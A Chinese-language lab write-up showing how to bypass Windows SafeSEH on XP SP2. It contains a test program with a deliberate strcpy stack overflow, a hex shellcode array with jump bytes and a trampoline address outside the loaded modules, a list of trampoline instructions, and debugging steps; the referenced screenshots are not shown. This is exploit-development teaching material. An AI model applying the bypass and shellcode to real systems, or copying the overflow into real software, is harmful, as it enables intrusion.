目录
一、实验环境
操作系统:Windows XP sp2
软件版本:VS2008(release)、原版OD(实时调试)
二、实验代码
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
__asm int 3
test(shellcode);
return 0;
}
实验思路及代码简要解释如下:
(1)Test函数中存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;
(2)从下图可知,该程序中所有加载模块都启用了SafeSEH机制,故我们不能通过未启用SafeSEH的模块来绕过SafeSEH;
(3)将异常处理函数指针覆盖为加载模块外的地址来实现SafeSEH的绕过,然后通过除零触发异常将程序转入异常处理,进而劫持程序流程。
三、实验步骤
当程序加载到内存中后,在它所占的整个内存空间中,除了我们常见的PE文件模块(EXE和DLL)外,还有其他一些映射文件,我们可以通过OD中的“view->memory”查看程序的内存映射状态。如下图:
图中,类型为map的映射文件,SafeSEH是无视它们的,当异常处理函数指向这些地址范围内时,是不对其进行有效性验证的,所以如果我们可以在这些文件中找到跳转指令的话就可以绕过SafeSEH,并且这样的指令时存在的。
跳板指令除了之前用到的“pop pop retn”指令序列外,还有以下指令:
call/jmpdword ptr[esp+0x8]
call/jmpdword ptr[esp+0x14]
call/jmpdword ptr[esp+0x1c]
call/jmpdword ptr[esp+0x2c]
call/jmpdword ptr[esp+0x44]
call/jmpdword ptr[esp+0x50]
call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]
首先,用0x90填充shellcode,长度不超过200字节,然后编译允许程序。因为所有加载模块都使用了SafeSEH,所以我们只能在加载模块内存范围之外的地方寻找合适的跳板绕过SafeSEH了,只要找到前面提到的指令中的任意一条就可以了。
使用OllyFindAddr进行指令搜索,这里我们使用call/jmp dword ptr[ebp+n]指令来作为跳板。
搜索结束后,在日志窗口查看搜索结果,选择加载模块之外的跳板指令:
从图中可以看出0x00280B0B这个地址不属于加载模块之内,所以该地址可以作为我们的跳板地址。
如果我们使用0x00280B0B这个地址作为我们的跳板地址,那么shellcode的关键部分将不能布置在跳板地址之后,因为0x00会截断shellcode的关键部分(如果是Unicode的漏洞就不用考虑这一问题,因为Unicode的结束符为0x0000)。
当程序执行到call/jmp dword ptr[ebp+30]这儿,下一步会跳转到SEH链处。因为当前异常处理函数不能处理异常,就会去找下一个异常处理函数,所以程序会找到SEH链处。
在SEH链所在的地方布置两个跳转,跳到shellcode开始位置。
- 通过一个二字节的断跳指令0xEBF6会跳8字节;
- 在这八字节中再布置一条5字节的长跳转指令完成最终回跳。
确定长跳位置:也就是shellcode的起始地址。
shellcode构造:
运行结果: